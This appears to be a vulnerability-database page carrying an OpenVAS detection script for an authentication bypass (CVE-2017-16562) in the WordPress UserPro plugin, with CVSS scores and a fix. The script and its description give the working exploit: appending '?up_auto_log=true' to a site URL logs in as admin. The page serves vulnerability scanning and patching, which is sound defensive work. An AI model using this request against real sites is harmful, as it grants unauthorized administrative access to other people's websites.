Lucene search

K
openvasCopyright (C) 2017 Greenbone AGOPENVAS:1361412562310113055
HistoryNov 21, 2017 - 12:00 a.m.

WordPress UserPro Plugin < 4.9.17.1 Authentication Bypass Vulnerability

2017-11-2100:00:00
Copyright (C) 2017 Greenbone AG
plugins.openvas.org
408

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.785 High

EPSS

Percentile

98.3%

The WordPress plugin

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if( description )
{
  script_oid("1.3.6.1.4.1.25623.1.0.113055");
  script_version("2023-07-14T16:09:27+0000");
  script_tag(name:"last_modification", value:"2023-07-14 16:09:27 +0000 (Fri, 14 Jul 2023)");
  script_tag(name:"creation_date", value:"2017-11-21 14:19:20 +0100 (Tue, 21 Nov 2017)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2019-10-03 00:03:00 +0000 (Thu, 03 Oct 2019)");

  script_tag(name:"qod_type", value:"remote_app");

  script_tag(name:"solution_type", value:"VendorFix");

  script_cve_id("CVE-2017-16562");

  script_name("WordPress UserPro Plugin < 4.9.17.1 Authentication Bypass Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"summary", value:"The WordPress plugin 'UserPro' is prone to an authentication bypass vulnerability.");

  script_tag(name:"vuldetect", value:"The script tries to bypass the authentication and reports
  the vulnerability if successful.");

  script_tag(name:"insight", value:"If the user 'admin' exists on the system, appending ?up_auto_log=true
  to the URL automatically logs in as that user.");

  script_tag(name:"impact", value:"Successful exploitation would allow the attacker to gain administrative
  access to the website.");

  script_tag(name:"affected", value:"WordPress UserPro plugin through version 4.9.17.");

  script_tag(name:"solution", value:"Upgrade WordPress UserPro plugin to version 4.9.17.1 or above.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/43117/");
  script_xref(name:"URL", value:"https://wpvulndb.com/vulnerabilities/8950");

  exit(0);
}

CPE = "cpe:/a:wordpress:wordpress";

include( "host_details.inc" );
include( "http_func.inc" );
include( "http_keepalive.inc" );

if( ! port = get_app_port( cpe: CPE, service: "www" ) )
  exit( 0 );

if( ! dir = get_app_location( port: port, cpe: CPE ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

exploit = "/?up_auto_log=true";

# For future notice: http_vuln_check is not sufficient, reports NOT_VULN
url = dir + exploit;
req = http_get( port: port, item: url );
resp = http_keepalive_send_recv( port: port, data: req );

if( eregmatch( pattern: "Set-Cookie: wordpress_logged_in[^;]*admin", string: resp, icase: TRUE ) ) {
  report = http_report_vuln_url(  port: port, url: url );
  security_message( data: report, port: port );
  exit( 0 );
}

exit( 99 );

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.6 High

AI Score

Confidence

High

0.785 High

EPSS

Percentile

98.3%